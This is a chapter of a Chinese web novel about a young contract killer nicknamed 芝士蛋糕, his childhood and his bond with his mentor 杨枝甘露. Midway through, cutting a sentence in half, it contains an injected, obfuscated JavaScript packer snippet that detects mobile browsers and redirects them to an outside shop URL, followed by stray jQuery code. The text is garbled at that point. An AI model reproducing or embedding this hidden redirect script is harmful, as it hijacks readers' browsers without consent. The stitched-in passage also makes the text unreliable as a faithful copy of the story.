42. 间隙的故事④ 芝士蛋糕专场

作品:《[安科]社畜鲨手模拟器

    →(芝士蛋糕个人篇


    某个国家的某个角落,生活着一个普普通通的男孩儿。他有一个平凡的名字,平凡到提起来都会让人有些羞愧,却包含着父母的关怀与期望。


    不过那是他有记忆以前的事了。


    三岁的芝士蛋糕住在阿姨家里,最大的烦恼是幼稚园午餐炒饭总有切碎的胡萝卜。五岁的芝士蛋糕背着书包上小学,一个人哼着歌过天桥。七岁的芝士蛋糕咬着铅笔头,心却飞到家附近的电玩城里了。


    上学有什么意思呢?他想。


    其实放下课本不看也没关系,练习册也都是自己对答案批改。老师不会找他的家长,蛮久之前也许找过吧,但是叔叔伯伯都很忙,没什么空理会他。有饭吃,有觉睡,上完课跟同学玩一下午,然后各自回家写功课。考试分数也不重要,初中、高中、大学,能考上就供他读,考不上就外出做工。反正是要养他到十八岁的,叔叔这么说。而阿姨点点头,沉默地夹菜吃饭。


    黑米粥,炒白菜,油油的红烧蹄髈。桌上有碟子罩住的玉米馒头。水汽泡软的地方手指一捏就碎了,黏黏的没什么味儿。


    放学回家的路上会经过一座天桥,铁质的防滑阶梯略带锈迹。走过一圈阶梯又一圈,探进栏杆的蕨叶旁边,地板上有个红色的东西。细细的条状物,只有小指长,浸满油的一根辣条。


    他认得这个,小卖铺五毛钱一包。透明塑料袋里装着红艳艳的面食。同学们会买一包边走边吃,而他在摊位上很认真地挑选,对比完不同牌子的又放回去,手指上偶尔染上粘腻的油渍。


    他转回头,身后没有谁在。他向前看,天桥下的行人一个也没有抬头。地上的辣条红澄澄的,没有沾上灰土,看起来干干净净。他蹲下身捡起那根辣条,把它塞进嘴里。鲜鲜的辣味儿伴着甜味传到舌尖。很持久的甜。和想象中的一点也不一样。


    ‘老师说吃脏东西会有细菌,会生病。我会生病吗?如果今晚回去就拉肚子,呕吐,进医院。’他想。一边继续跳下阶梯。‘然后死掉。’


    芝士蛋糕没有父亲,但杨枝甘露有时像他的父亲。


    “这一组四发都是十环,”黑发青年说,揭下靶纸走来,露出一点微笑。“比上次做得好。”


    芝士蛋糕将眼睛从觇孔前移开,好几秒才聚焦到对方身上。他的手臂僵直,双脚也酸痛,怦怦跳的心好一会儿才平息下来。越想放松就越紧张,紧张肌肉就会僵硬,手就会抖。他呆呆地眨眼,“比上次好?”那么重复了。杨枝甘露并没有时刻监督他练习,更多时候只是带他起个头、布置训练内容,如何执行只由他自觉。他本来以为对方就放手不管呢。


    “有监控,我会看。”黑发青年回答。“你射击的前一秒小臂会晃动。”


    哎呀,还是没做好。芝士蛋糕嘴角下撇。肩膀也塌下了。虽然自夸过“一定能行!”,信誓旦旦说能学好,但到底做不到吧。还是让他失望了。


    “你在紧张吗,因为什么?”杨枝甘露像陈述一般询问着,将靶纸放在他手中。“这是第一发、第二发的弹孔。前三发都很稳定。直到第四发,”他盯着芝士蛋糕,后者只留给他一个头顶。“你的呼吸乱了。有什么让你分心么?”


    “……哎呀,对不起,我……”芝士蛋糕垂着头。他想不起来自己在做什么,只是有那么一刻突然意识到身体的存在。他的心又跳得很大声了,这次更多一些慌张。果然不行。也许他就是不适合这方面?起码他的刀用得很好,射击还是太难了吧。当打手的话体术已经够用了。也没有非得要成为神枪手才能做的事……


    一只手按在他的胸前,打断了他的想法。比他的手更加宽大、骨节突出的成年人的手贴住他的左胸。“你的心跳有点太快了,”杨枝甘露俯下身来观察,脸上没有责难,如往常那样平静,“眼睛也没什么精神。你需要休息,过去坐一会吧。”


    那也行。也许他只是有点累了。芝士蛋糕将靶纸攥在手心,一屁股坐在沙发上,想把自己窝成一团。“脊背挺直,”那只手在他的后背上示意似地轻拍。芝士蛋糕下意识挺起身,迎上杨枝甘露的视线,后者眨了眨眼,又收回手。“噢、……没事,现在放松一会也可以。”


    “不用着急,”那个人说。“不用那样着急。我会教你的,不要求你必须达到什么境界。”杨枝甘露说,微微笑了一下。“只要你想学。你对它有兴趣。那就足够了。”


    芝士蛋糕的家附近有一片公园,更具体地说,有一片带水池和植物的空地。夏天的时候,石砌的水池上会有红色和黄色的的蜻蜓,有时候也有绿色的,低低地飞着,尾巴垂下来点一点水面。


    上小学的时候,芝士蛋糕会在水池边捉蜻蜓。飞累的蜻蜓会停在水池边缘,这时候悄悄地从侧后方走过去,手一拢就能把它捉住。想要逃走的蜻蜓震动翅膀,搔得手心发痒。他也捉金龟子、螳螂、蚂蚱,装进瓶子里,晃来晃去,饶有兴致地观看它们动弹的脚,但唯有蜻蜓是只有那个季节才有、才会聚集的,是一种独特的快乐。


    有一年夏天,有那么一天,他在水池边看到一只橙红的蜻蜓,跟其他蜻蜓一样站在那儿,翅膀微微颤动。他慢慢走过去,就像恶作剧地吓唬同学一样,一下子伸手去抓。差一点那只小虫就逃脱了,只不过人的速度比它更快一些,将它的翅膀按在水池边上。


    芝士蛋糕一时不敢动弹,他想将那翅膀捏在指间,又不想掰折那两片摸着又薄又脆的东西。若是能挪到石面边缘就好了,他心想,可以腾出一点空余。有点慌乱又兴奋地琢磨着如何是好。可那被按住翅膀的蜻蜓不停挣动着、挣动着,然后那躯体与翅膀脱离了。


    失去翅膀的蜻蜓像一条怪异的、橙红色的、长长的蛆,仍倒在水池边扭动着。不远处就是它半透明的翅膀,尖端几乎被孩童的手指揉皱了。‘怎么回事呀!’他险些叫出来了。‘为什么要挣扎呢,’他下意识责怪那只虫豸。‘我没有想伤害你,是你自己把翅膀撕下来的!’他在心里大喊,舌头却僵在口中,没办法说出一句话。没有血,又或许是少到不足以看到。说到底昆虫的血又是什么颜色呢?只有这橙红色的躯体仍然在石阶上扭动。


    芝士蛋糕脸色苍白地看着那副画面。突然跳起来,像是有鬼怪在后面追赶一样跑走了。


    在他还没有住到叔叔家里的时候,有一天晚上,一位高高瘦瘦的年轻人敲开了他的门,自称是姨父的孩子,是他的什么什么表哥。那会儿天很晚了,外面黑黢黢的,客厅的桌上也冰冰凉,凝着一层油腻。表哥打开灯,往他的手里塞了一盒香喷喷的东西,说是带给他吃的。好香啊,他的口水几乎是立刻就流下来了。表哥说的什么他也不太懂,只记得另一人进了屋,一开始还很安静,然后争吵声越来越大,最后表哥摔门而出,脸色铁青,抓着他的手臂就要往外走。


    啊,那时候,他是为什么没走呢?他不记得……他不记得表哥的模样,不记得另一人的模样。但是那天夜里,短暂地亮起的橙黄色的客厅灯光中,他坐在硬邦邦的木头椅子上,打开了那个魔法一样的纸盒子。里面的香香的东西同样是橙黄色的。油炸脆壳有些软了、但腌制过的鸡肉仍有温度,鲜鲜的嚼出汁液,带着一点令人欲罢不能的辣味儿。他啃掉外面的脆壳,用牙齿与舌头撕开肉食、吮吸着表面的肉汁,直到肉块被咀嚼成无味的肉糜。主卧的门被摔开时,他急忙将最后几块塞进口中,脸颊撑得鼓鼓囊囊。好在没有谁发现这回事。多么幸运啊。那一整夜他的齿间都是满溢出的鲜美滋味。


    杨枝甘露也像他的兄长,有时芝士蛋糕会这么认为。


    他没有过真正意义上的兄长,叔叔阿姨的孩子在外面上学,后来又留在外地工作,很久才回来一趟。世事发生都自有它的道理。也许像野猫长大了会被猫妈妈赶出去一样,芝士蛋糕心想,我长大了也是要出去外面工作的,到长大的人聚集的地方去。


    长大的人聚集的地方充满了欺骗、暴力和倾轧。


    “那个人跟我求饶说他还有小孩要养。”芝士蛋糕踢着庭院里的石头,有些闷闷不乐的样子。


    “嗯,对。”杨枝甘露擦去刀上的血迹,收刀入鞘。找出委托人要求的文件丢进壁炉。“如果能让你高兴一点,那人拖欠的工钱有几千万,因此或死或残的也有十来位。”


    “那可真是个坏人了。”芝士蛋糕睁大眼睛,重又走进室内,低头观察地上的尸体,男人即使死后面相也挺周正,可惜被涕泪扭曲了模样。


    “但他确实有小孩要养。”杨枝甘露试图点燃壁炉,但失败了,不过芝士蛋糕在旁边发现一枚旋钮,原来得长按下去才有燃气。“他半年前那项工程本该收回两亿。本该,而实际没有。”


    “诶?可是老大,这不就……”芝士蛋糕呆呆地应声。


    “而我们杀他的理由跟以上内容无关。只因为公司想要新合区这片地。”杨枝甘露用火钳捅了捅壁炉里的纸片。那玩意儿烧起来有一股不是很好闻的烟熏味。“顺带一提,他账上的钱填补工资其实绰绰有余。”


    “……那我们该不该杀他,这个人到底该不该死呢?”芝士蛋糕完全被搞糊涂了。


    “杀他是我们的工作。是否该死则由律法判断。按律大约是监禁并缴纳罚款,此人罪不至死。”杨枝甘露回过身看他,脱下塑胶手套装进垃圾袋。“清扫一下室内的痕迹,室外的我会负责。我们要在凌晨三点前离开。这也作为考评的一项。”


    “……啊、是!我这就去!”芝士蛋糕打起精神,开始用药剂喷雾和拖布墩地面。方式有点草率,但是在清除生物信息这方面已经足够了。他们在两点半之前结束工作,离开了案发现场。


    “……还在想那件事吗?我会建议你不去衡量那些。”回安全屋的路上,杨枝甘露这么说。“工作是为了获得报酬。至于为什么鲨仁,鲨的是什么人,则不必考虑。”他在红灯前停下,转过头望芝士蛋糕。后者很罕见地沉默了一整趟车程。只是单手托着脸颊,眼睛直勾勾地盯着他。黑发青年叹了口气。“如果你不喜欢鲨仁,我可以把你转到班戟那边去。如果你只愿意鲨坏人,我也可以给你配个文员,专门筛这类活儿。你是怎么想的呢?”


    “我没有不喜欢鲨仁,老大。”芝士蛋糕说,“我也没有喜欢鲨仁。就像菜里面放不放芝麻,我都乐意吃。”他慢慢舔了舔上牙龈,牙齿压在舌头上有一点痛。“但是,我在想,什么坏事都没干的人,也会有人想他去死吗?”


    绿灯亮了。车辆重又起步。“……我生长的地方,”杨枝甘露说,转动方向盘避让右侧违法变道的小轿车。“没什么吃的,没什么钱。也没有逃走的方法。”


    “然后,外表比别人干净的人,被旁人知道家里有多一点财物的人,自食其力、捉住野禽来吃的人,就容易死。没有人觉得这是错误。”黑发青年像是说故事一样说着。语气干巴巴的。“杀掉他的人们自己其实并不知道怎么捉鸟。也会有这种情况的。”


    “是因为太饿了吧。”芝士蛋糕说,下意识收腹。“饿坏了的时候什么都没办法思考了。”


    “是吧。”杨枝甘露答道。“但是有钱的话就能吃饱了。我是因为这个而做这份工作的。”


    “但是老大现在的钱也足够吃很多东西了吧。”芝士蛋糕挠了挠脸颊,身子向下滑去,把自己在副驾驶上摊开。


    “确实。不过,也没有不放芝麻的理由吧。”杨枝甘露应了一声。路灯映在发梢的边缘,星光一样忽闪。他们共享了一段安静的时刻,直到黑发青年开口。“宵夜你有想吃的吗?”


    “哦?那,烤肉!”芝士蛋糕眼睛闪亮起来,保持躺姿举起右手。“想吃烤肉自助!”


    “没有自助。这个点只有普通烤肉店开门了。”杨枝甘露有些好笑地回答,“不过可以保证让你吃饱。”


    烤肉、拌面、油焖虾。遇见老大之前,芝士蛋糕从没有想象过世上有这样热衷于食物的人。跟自己一样喜欢到处吃东东。不同的是芝士蛋糕偏好高热量的、油炸的类型,还有甜点(当然,他也喜欢甜甜圈,相当喜欢了)。而杨枝甘露则乐于尝试各种不同的新品种。青柠檬与百香果腌制的小鸡爪。香喷喷、黑漆漆的、竹签串好的油炸大蝎子。热腾腾、软绵绵,云朵一样蓬松的舒芙蕾。炭火中融化的脂肪如此令人满足。


    工作的间隙、假期的上午,杨枝甘露有时碰到他,就魔法般变出一个打包盒,里面的油炸糕金黄璀璨。甜甜地黏在牙上,好半天没舔下来。


    “欸呀~!我又长胖了啦!老大!”芝士蛋糕叉着腰站在秤上,对杨枝甘露怒目而视。


    “运动量不够。”杨枝甘露施施然回答。坐在环形沙发上,一边用筷子戳开核桃包。乳白色的内馅从裂开的地方流进餐盒,馅料沾在筷子上,吮一吮有坚果的香味儿,味道也甜津津。


    “不只是我,行动组有……十几位队员都说自己重了啊!不要假装听不见!”芝士蛋糕大叫,指着秤上的数字。“重了四斤!你看!你过来看!”


    “好,我过来看。”杨枝甘露叹了口气。走到体重秤前。确认那个数字是还在标准甚至健美的范畴内。人哪怕喝点水睡一觉,早晨和晚上的数字有波动是正常的。奈何芝士蛋糕坚持补充:“班戟说我再胖下去就会变成矮冬瓜!”黑发青年于是蹲下去按了一下秤上的按钮。


    “好了,去皮了。”杨枝甘露说,拍了拍芝士蛋糕的肩膀。“现在你倒欠它一公斤。”


    虽然知道工作的话会有钱,但是第一次拿到工资时,芝士蛋糕还是大吃一惊。


    “这——这么多吗?老大你帮我看看,是不是发错了?”芝士蛋糕像龙卷风一样刮进办公室。


    即使那个数是一天前自己亲手签的字,杨枝甘露还是当着他的面仔细核对了一遍。“没有错,就是这些。”黑发青年很笃定地回答。“还是看在前几次你不是独立出任务的情况下削减了一部分。”


    “那能买多少……多少鸡米花呀,大份鸡米花!”芝士蛋糕眼睛亮晶晶的。


    “……一万两千份?”杨枝甘露回答。“团餐会有优惠。负责采购的成员……你可以跟华夫饼联系……”


    “哇、啊呀、哇!”芝士蛋糕已经举起手绕着茶几转了三圈了。很明显没有在听他说话。他突然又绕回来,双手按在办公桌上,望着杨枝甘露。“那我是、工作了吧?”他问。


    “我想是的。”青年迟疑了一下,点点头。


    “那么,工作是要把第一个月工资寄回家对吧?”芝士蛋糕兴奋地追问。


    “……好像是有这种说法。”杨枝甘露以一种谨慎的态度开始观察他。


    “下午请老大吃饭,然后给家里寄钱!”芝士蛋糕毫无所觉地举起手。“坐飞机回去!”


    “不用飞机,我记得你家在邻省。开车半天就能到。”杨枝甘露松了口气,调出日程表看了看。“你自己回去么?或者我明天早上有时间,可以载你一程,只是不能久留。”


    他们在离家几条街道的地方停下。阔别一年,芝士蛋糕却感觉处处都熟悉。


    “再往前一段是个小公园!拐过那条街就是了!”他很激动地介绍。“我小时候常在那儿玩的。”严格来说他现在应该也算小时候,还只是青少年的模样呢。


    拐过那条街是一片地摊夜市,栏杆被拆掉了,灯牌拱门上书“文化一条街”。


    “诶呀?”芝士蛋糕眨了眨眼,又回过头看杨枝甘露。“……没有喷泉了。”


    “有烤冷面摊儿。”杨枝甘露点头。


    从小看到大的住宅楼,芝士蛋糕第一次发觉墙面有些褪色。家里没有人。也没有必要撬锁进去。芝士蛋糕站在门口,仰望了一会儿门上的贴画,然后卸下手里有点重的防水包。


    “就放门口吧……”他说着。隔着铁门又看了看,嘿嘿笑起来。“下个月再回来吧!我也是能给家里寄工资的大人啦!”


    下个月、下下个月再来的时候却都没能碰见人。门上贴着的电话号码打过去是空号。


    “对面那户不是搬走了么?走得挺急的,听说是工作变动?”脸生的邻居这么说。


    屋里空空荡荡,屋子中央留着芝士蛋糕那只黑色防水包。包里的钱一张不少。芝士蛋糕从主卧走到次卧,又走到书房、厨房、卫生间。这么大间屋子怎么一下子就走完了呢?


    他趴在阳台上往下望。底下那条街道,路灯下停着的那辆车旁边,黑发青年正低头看手机。


    啊,是了,芝士蛋糕想。也到回去的时间了。于是他跑下楼,穿过马路,一路跑到杨枝甘露跟前。双手撑着膝盖,有些气喘吁吁地仰起头,正好迎上青年的目光。


    “老大我们中午吃什么?”芝士蛋糕摆出了很可爱的表情和姿势,对他用力眨眼。


    杨枝甘露有些迷惑地望他,也学着他眨一眨眼。“烤鱼吧。我刚看到一家铁板烤鱼好像不错。荔枝味儿可以做甜口。”


    “我喜欢烤鱼!我最喜欢烤鱼了!”芝士蛋糕大喊道。把旁边等车的路人吓了个趔趄。他们点了两份烤鱼,一份藤椒,一份荔枝。荔枝味那份甜咸混合还有点腥,说真的有点奇怪。但芝士蛋糕吃得一干二净。


    初中的时候,芝士蛋糕会在学校里留到到很晚才回家,到晚自习结束很久、再不出去学校要锁门,才拖着脚步慢吞吞地回家。某天晚上进门换鞋的时候,他在鞋柜上看见一张纸币。红红的,轻飘飘地搁在那里。相当大的金额了,对学生来说是一笔巨款,对成人也是丢弃会肉痛的数额。


    家里安安静静的,大家都睡了。没有人在看他。芝士蛋糕的心怦怦跳着,盯着那张纸币望了好一会儿。没有人会看见他。于是他伸出手,两根手指轻轻地拈起钞票,卷起来塞到自己的口袋里。


    好大一笔意外之财啊!拿去花的话,可以买什么呢?家里不会有的零食,油炸的小鸡块儿,假面骑士的文具盒,还有那个!同学们放课后会玩的动漫卡片!芝士蛋糕躺在床上,很快乐地滚来滚去,想东想西。但是紧接着,慢慢的,他的笑容一点点挥发掉了。


    哎呀,哎呀,这个就是偷窃了。他是在偷钱啊。是这样吗,他要为自己想要的东西变成坏孩子了。为什么不把钱放回去呢?现在还来得及啊。可是,但


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996071|193875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是……要是明天早上,叔叔和阿姨发现了,放在鞋柜上的钱不见了,那可怎么办呢?他们会骂他吗?会打他吗?还是像电视剧里那样抱着他,流着泪说自己没把他教好呢?叔叔和阿姨发起脾气来是什么样呢?又或者他就会被赶出去,又要到别的谁家去住呢。啊,到了那个时候,要是明天他们走进来,问他“你有没有看见”,问他“是不是你偷了”,鞋柜上的钱。那他就拿出来也好,说是被风刮到门缝里之类,说自己从地毯下找到的,老鼠叼走的。要是明天……


    明天的餐桌上还是只有米粥和咸蛋,叔叔剔着牙看报纸,阿姨在电视前打毛衣。芝士蛋糕穿上外出的鞋子,对屋里说“我上学啦!”,叔叔就点一点头,把报纸又翻过一页来。


    没有人对他说什么,没有人提起这件事,好像那张红红的纸币是芝士蛋糕的一场梦。但他从笔盒里摸一摸它,是真实存在的呀。‘只要有谁来问一句,我就还给他,’芝士蛋糕这么想。‘难道大家都不知道那边放着钱,真的是老鼠叼过来的呢?’他又想。‘也许只是还没来得及发现。明天、或者后天,要是真的没有人问,我就花掉它啦?’生怕这笔巨款遗失在哪里,芝士蛋糕把它展平,夹进自己的日记本,放到枕头下面,塞到床底,最后又规规整整地回到书架上,一直到他考上高中为止还在那里。


    ‘啊,为什么,为什么没有人来问我呢?’他有时模模糊糊地想着。‘为什么不来批评我,不来责骂我。


    不对我抱有期望呢?’


    还有时,芝士蛋糕会觉得,杨枝甘露像他的师长。不是严厉地批评他,拿戒尺打他手心的那位;也不是只关注好学生,对他的要求仅限于出勤的那位。是会将他叫到办公室,握住他的手,很耐心地跟他讲话的那一位。总是用红笔在他的作文上圈出词句,写长长的评语。老师说的什么话,他也不记得了,但是谈话过后能拿到的糖是牛奶味儿。小小甜甜的一块,糖纸黏在手心。


    肉体凡胎比不过枪械,但体术训练本身也有其作用。即便是擅长的近身格斗,芝士蛋糕偶尔也会感觉倦怠。手掌磨出水泡又结成茧,慢跑、蹲起,拆解柔术的关节技。徒手格挡来自各方的攻击。长时间保持同一姿势不能移动,却还不能放空大脑。


    “只能这样了。”“动不了了。”“好累。”“断了,腿断了。”芝士蛋糕呻吟着,甚至没力气喊叫出声,倒在练习的软垫上,呼哧呼哧喘着粗气。“不是说、我是天才吗?已经可以了吧,明明其他人都,打不过我……为什么、还再练……”


    “如果用百分制来衡量的话,能轻易取得六十分的芝士蛋糕确实很有天赋。”杨枝甘露在旁边坐下,单腿屈起,扭头看着这人。“有些人练习十几年,将经验内化为直觉,才能有这样的反应力。而你一下子就能预判到了。”


    “那不是很好吗——”芝士蛋糕努力仰头,撑到一半又躺回去了。


    “是这样。六十分已经及格了。”杨枝甘露点点头,挽起袖子开始给他捏腿,松解肌肉。“一般人努力训练的话能达到六十分。有天赋的人训练,能达到八十分,九十分也说不定呢。”芝士蛋糕被捏得一抖一抖,五官皱在一起,一晃神儿那堆话就过去了。直到那句话传到耳朵里。“……对你来说六十分已经足够了吗?”杨枝甘露问道。见他忙于抵抗酸痛,于是暂停动作,重又问了一遍。


    “对芝士蛋糕来说,六十分足够了吗?”


    “啊,那!”芝士蛋糕一下子竖起上半身,用手肘撑住自己。“那个不行吧!好丢脸,要考满分才算合格吧。”


    “是吧。”杨枝甘露勾起唇角。“要求加练的、对芝士蛋糕有高要求的不是我啊。”他拍拍垫子,示意芝士蛋糕往上挪一些,然后继续按摩。“不过,作为你的引路人,我当然希望你越强越好。什么时候你能打过我就算出师了。”


    “一定!明年就、”芝士蛋糕说到一半嗷地叫出声来,鲤鱼打挺似地在垫子上翻腾。而杨枝甘露只是冷酷地继续捏住那一块儿按揉,像抓蛇的七寸一样把人定在那里。“明年不行、就后年,早晚的事……嘶痛痛痛……轻、轻点……”


    “上学有什么意思呢,”芝士蛋糕说,引体向上时跟人说话,已经能脸不红气不喘。“学那些文化课又有什么用呢?”他身子一蜷,膝弯挂上单杠,开始在半空中卷腹。


    “不学习会被人骗。”杨枝甘露回答,手上一边还在掐表计时。“学到知识让你不快乐么?”


    “搞不懂的知识、让我不快乐,”芝士蛋糕抱着头努力压榨自己的肌肉,做到最后动作就有点变形了。“国文、课……”


    “好,二十九个,停。”秒表哔地响了一声。杨枝甘露在本子上记下数量。“休息五分钟,喝点水再继续。”在他掐表的一刻芝士蛋糕已经完全松懈下来,像一条湿毛巾搭在单杠上滴水。


    “……赏析文章,那些东西,”芝士蛋糕缓了一会才开口,还是在想之前的话题。“我不明白文章为什么要那样写。……作者写这句话有什么意图,要我说,就是想写所以写了。”他把自己勉强降落到地上,变成一摊堆着的湿毛巾。“哪里有那么多原因呢?”


    “也许你说得对。作者写的句子只是想写而已。”杨枝甘露把温温的电解质水递给他,芝士蛋糕接过来想要猛灌一口,却发现只能小口小口喝。(“讨厌这个瓶子”他抱怨道。)“但是学校的题目可能也不是为了获得真实想法,”杨枝甘露微微偏过头。


    “如果世界上大部分人看见这句话,认为作者的意图是A,那A就是正确答案。能够做对这道题的人,就是能够与多数人正常交流,理解他们意图的人。”杨枝甘露慢慢说着,像是在回想什么。“一道题也看不懂的话,理解别人的思想,可能会有点困难喔。”


    “也不是一道都看不懂啦,还是能搞懂大部分的!”芝士蛋糕用力摇头,生怕被老大当成笨蛋。“而且搞不懂也可以背套话,勉强也能得个几分吧!”


    “那很好了,”杨枝甘露笑起来,“是我以己度人了。”


    ‘疑几夺仁是啥意思啊?’芝士蛋糕挠挠脑袋,实在对这词儿没印象,又不想暴露自己的文化知识,只好假装听懂了似地叉起腰。“是嘛!老大别担心,我当然非常厉害了!”


    有时,芝士蛋糕会偷偷在心里觉得,杨枝甘露像他的母亲。


    母亲。柔软的、温暖的手,臂膀环抱着他。长发垂落在眼前,好像榕树林的倒影。留在他梦里的,轻轻的歌声,拍着他的背,念着他的名字。平凡到不值一提的,饱含着爱的名字。


    芝士蛋糕也喜欢自己的名字,哪怕这只是一个代号,甜点的代称,轻佻更胜于实用。哪怕班戟有时说漏嘴:“你要是不在了那我们会有芝士蛋糕二代三代”。但这是他的,专属于他的礼物。一个新名字,一个新的开始。归属的证明。


    有些人,芝士蛋糕知道,有些同事会把杨枝甘露比作太阳。高悬于空的恒星、一轮幻日、又或是漆黑的日食。比起太阳,炎热而酷烈的太阳,芝士蛋糕会说,杨枝甘露更像是月亮。无论何时他抬起头,会有一种永恒似的确信,月亮总会在那儿。投下牛乳似的、清凉的光,注视着、鼓励着他。


    “老大,老大,”芝士蛋糕跑上楼,毫无预兆地、突然而然地钻进办公室,矗到杨枝甘露跟前。眨巴着眼睛,脸上带着一点不好意思的笑。


    “怎么了?”黑发青年问他,并不为这突兀的出现而惊讶。


    “抱我,抱一下!”芝士蛋糕满是期待地伸出双手。


    “噢。”杨枝甘露抱他,感到些许莫名其妙。


    “再用力一点!”芝士蛋糕用力回抱他。


    “行……”杨枝甘露的疑惑不断增加,但仍按要求加力。


    “再用力!”芝士蛋糕收紧手臂,几乎能听到骨头嘎吱嘎吱响。


    杨枝甘露沉默了,他觉得怀里的年轻人已经像是在被勒住了,还不够吗?


    “……啊,可以了,谢谢老大!”芝士蛋糕的声音像是嗓子眼里飘出来的,脸颊被勒得通红,但精神看起来十分高涨。“我又复活了!再见!”年轻人如来时那样咚咚地跑走了。


    “……你俩这又是在做什么呢?”来找茬顺便议事的信使在旁边围观了全程。


    “也许,给胸骨塑型?”杨枝甘露以同等程度的疑惑回答。


    十六岁那年,从学校逃课的年轻人爬上屋顶,走过矮坡,沿着窄窄的墙头,像走平衡木一样摇摇晃晃地穿过小巷。百无聊赖地翻过院墙的时候,在昏暗的巷中看到了身穿黑色风衣的背影。堆放垃圾的墙角倒着尸体,被割破的气管咕嘟嘟冒着泡,血液顺着银亮的刃落到地上。那人转过头,漆黑的眼睛准确无误地与他对上。


    啊,糟糕,完了,被发现了。亲眼目睹鲨仁现场。该求饶吧,承诺不会说出线索。说点什么拖住他,怎么办呐。年轻人漫无目的地思考着,一只脚还踩着砖头。他趴在墙边,望向那鲨手,张开口却什么都说不出来。会被杀吗?我会被杀死吗?啊啊,人生,真是完蛋啦……


    “……你能带我走吗?”他眨着眼,不知不觉竟笑起来了。